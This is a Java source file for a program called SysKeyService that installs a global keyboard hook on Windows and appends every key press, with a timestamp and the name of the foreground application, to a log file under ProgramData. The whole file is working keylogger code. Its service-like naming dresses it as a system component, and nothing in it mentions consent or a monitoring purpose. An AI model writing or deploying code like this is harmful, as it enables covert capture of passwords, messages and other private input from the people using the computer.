package ru.mcs.syskey;

import com.github.kwhat.jnativehook.GlobalScreen;
import com.github.kwhat.jnativehook.NativeHookException;
import com.github.kwhat.jnativehook.keyboard.NativeKeyEvent;
import com.github.kwhat.jnativehook.keyboard.NativeKeyListener;
import com.sun.jna.platform.win32.Kernel32;
import com.sun.jna.platform.win32.User32;
import com.sun.jna.platform.win32.WinDef;
import com.sun.jna.platform.win32.WinNT;
import com.sun.jna.ptr.IntByReference;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardOpenOption;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;

public class SysKeyService implements NativeKeyListener {
    private static final Logger logger = LoggerFactory.getLogger(SysKeyService.class);
    private static final Path LOG_FILE = Path.of(System.getenv("ProgramData"), "SysKeyService", "syskey.log");
    private static final User32 USER32 = User32.INSTANCE;
    private static final Kernel32 KERNEL32 = Kernel32.INSTANCE;
    private static final DateTimeFormatter DTF = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");

    public static void main(String[] args) {
        try {
            initLogger();
            initHook();
            runAsService();
        } catch (Exception e) {
            logger.error("Critical error: {}", e.getMessage(), e);
            System.exit(1);
        }
    }

    private static void initLogger() throws IOException {
        Files.createDirectories(LOG_FILE.getParent());
        if (!Files.exists(LOG_FILE)) {
            Files.createFile(LOG_FILE);
        }
    }

    private static void initHook() throws NativeHookException {
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(new SysKeyService());
    }

    private static void runAsService() {
        logger.info("SysKey service started");
        Runtime.getRuntime().addShutdownHook(new Thread(() -> {
            try {
                GlobalScreen.unregisterNativeHook();
            } catch (NativeHookException e) {
                logger.error("Error unregistering hook: {}", e.getMessage());
            }
            logger.info("Service stopped");
        }));

        while (true) {
            try {
                Thread.sleep(Long.MAX_VALUE);
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
                break;
            }
        }
    }

    @Override
    public void nativeKeyPressed(NativeKeyEvent e) {
        try {
            WinDef.HWND foregroundWindow = USER32.GetForegroundWindow();
            String appName = getApplicationName(foregroundWindow);
            String keyText = getKeyText(e);

            String logEntry = String.format("[%s] %s: %s%n",
                    LocalDateTime.now().format(DTF),
                    appName,
                    keyText);

            Files.writeString(LOG_FILE, logEntry,
                    StandardOpenOption.APPEND, StandardOpenOption.CREATE);
        } catch (Exception ex) {
            logger.error("Logging error: {}", ex.getMessage());
        }
    }

    private String getApplicationName(WinDef.HWND hwnd) {
        IntByReference pidRef = new IntByReference(0);
        try {
            // Получаем PID процесса через IntByReference
            USER32.GetWindowThreadProcessId(hwnd, pidRef);
            int pid = pidRef.getValue();

            if (pid == 0) {
                return "Unknown";
            }

            // Открываем процесс
            WinNT.HANDLE process = KERNEL32.OpenProcess(
                    Kernel32.PROCESS_QUERY_LIMITED_INFORMATION,
                    false,
                    pid
            );

            if (process == null) return "Unknown";

            // Получаем путь к исполняемому файлу
            char[] path = new char[4096];
            IntByReference sizeRef = new IntByReference(path.length);
            boolean success = KERNEL32.QueryFullProcessImageName(process, 0, path, sizeRef);
            KERNEL32.CloseHandle(process);

            if (!success) return "Unknown";

            // Извлекаем имя файла из пути
            String fullPath = new String(path, 0, sizeRef.getValue()).trim();
            return fullPath.substring(fullPath.lastIndexOf('\\') + 1);
        } catch (Exception e) {
            logger.error("App name error: {}", e.getMessage());
            return "Unknown (PID: " + pidRef.getValue() + ")";
        }
    }


    private String getKeyText(NativeKeyEvent e) {
        try {
            return NativeKeyEvent.getKeyText(e.getKeyCode())
                    .replace("\n", "Enter")
                    .replace("\t", "Tab");
        } catch (Exception ex) {
            return "KeyCode-" + e.getKeyCode();
        }
    }

    // Остальные методы интерфейса
    @Override public void nativeKeyReleased(NativeKeyEvent e) {}
    @Override public void nativeKeyTyped(NativeKeyEvent e) {}
}